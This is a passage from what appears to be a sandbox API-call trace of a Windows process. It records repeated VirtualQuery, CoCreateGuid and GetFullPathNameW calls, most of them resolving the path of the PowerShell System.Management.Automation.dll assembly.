out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.598] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.598] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.598] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.598] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.600] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.600] VirtualQuery (in: lpAddress=0x2bd11c, lpBuffer=0x2be11c, dwLength=0x1c | out: lpBuffer=0x2be11c*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.600] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.601] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.602] VirtualQuery (in: lpAddress=0x2bd278, lpBuffer=0x2be278, dwLength=0x1c | out: lpBuffer=0x2be278*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.602] VirtualQuery (in: lpAddress=0x2bd2b4, lpBuffer=0x2be2b4, dwLength=0x1c | out: lpBuffer=0x2be2b4*(BaseAddress=0x2bd000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.602] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x5941e265, Data2=0xfa1b, Data3=0x4b33, Data4=([0]=0x8d, [1]=0xd, [2]=0x2, [3]=0xa5, [4]=0x8a, [5]=0xff, [6]=0x2b, [7]=0x86))) returned 0x0 [0149.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.602] GetLastError () returned 0x0 [0149.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.602] GetLastError () returned 0x0 [0149.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.603] GetLastError () returned 0x0 [0149.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.603] GetLastError () returned 0x0 [0149.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.603] GetLastError () returned 0x0 [0149.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.603] GetLastError () returned 0x0 [0149.603] CoCreateGuid (in: pguid=0x2be628 | out: pguid=0x2be628*(Data1=0x6a89c4a3, Data2=0xfbd9, Data3=0x480e, Data4=([0]=0xa2, [1]=0xce, [2]=0x1, [3]=0xb2, [4]=0xee, [5]=0x41, [6]=0x77, [7]=0x4))) returned 0x0 [0149.603] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdd38, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.604] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdce8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.604] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdb00, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bdab0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.605] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bded0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bde80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.606] GetLastError () returned 0x0 [0149.606] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.607] GetLastError () returned 0x0 [0149.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.607] GetLastError () returned 0x0 [0149.607] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.607] GetLastError () returned 0x0 [0149.607] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.608] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.608] GetLastError () returned 0x0 [0149.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.608] GetLastError () returned 0x0 [0149.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.608] GetLastError () returned 0x0 [0149.608] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.608] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.608] GetLastError () returned 0x0 [0149.608] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.608] GetLastError () returned 0x0 [0149.609] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.609] GetLastError () returned 0x0 [0149.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.610] GetLastError () returned 0x0 [0149.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.610] GetLastError () returned 0x0 [0149.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.611] GetLastError () returned 0x0 [0149.611] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.611] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd8c8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.611] GetLastError () returned 0x0 [0149.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.611] GetLastError () returned 0x0 [0149.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bd878, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.611] GetLastError () returned 0x0 [0149.611] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.612] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: lpBuffer=0x2bdf10*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.612] GetLastError () returned 0x0 [0149.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.612] GetLastError () returned 0x0 [0149.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.612] GetLastError () returned 0x0 [0149.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.612] GetLastError () returned 0x0 [0149.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.612] GetLastError () returned 0x0 [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x2bda10, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0149.613] GetLastError () returned 0x0 [0149.613] VirtualQuery (in: lpAddress=0x2bced4, lpBuffer=0x2bded4, dwLength=0x1c | out: lpBuffer=0x2bded4*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0149.613] VirtualQuery (in: lpAddress=0x2bcf10, lpBuffer=0x2bdf10, dwLength=0x1c | out: 